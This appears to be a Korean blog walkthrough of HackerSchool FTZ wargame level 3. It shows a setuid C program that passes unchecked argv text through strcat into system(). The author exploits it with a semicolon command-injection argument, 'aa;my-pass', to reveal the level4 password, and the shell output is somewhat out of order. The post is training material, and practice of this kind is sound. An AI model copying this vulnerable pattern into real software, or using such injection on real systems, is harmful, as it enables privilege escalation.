level3 / can you fly?
[level3@ftz level3]$ ls
hint public_html tmp
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
동시에 여러 명령어를 사용하는 방법은 ;을 사용하면 된다.
[level3@ftz level3]$ /bin/autodig "aa;my-pass"
[level3@ftz level3]$ find / -user level4 -perm -4000 2>/dev/null
/bin/autodig
c
; <<>> DiG 9.2.1 <<>> @aa
;; global options: printcmd
;; connection timed out; no servers could be reached
Level4 Password is "suck my brain".
'컴퓨터 > hackerschool' 카테고리의 다른 글
hackerschool level 6 (0) | 2012.02.17 |
---|---|
hackerschool level 5 (0) | 2012.02.17 |
hackerschool level 4 (0) | 2012.02.13 |
hackerschool level 2 (0) | 2012.02.13 |
hackerschool level 1 (0) | 2012.02.13 |
댓글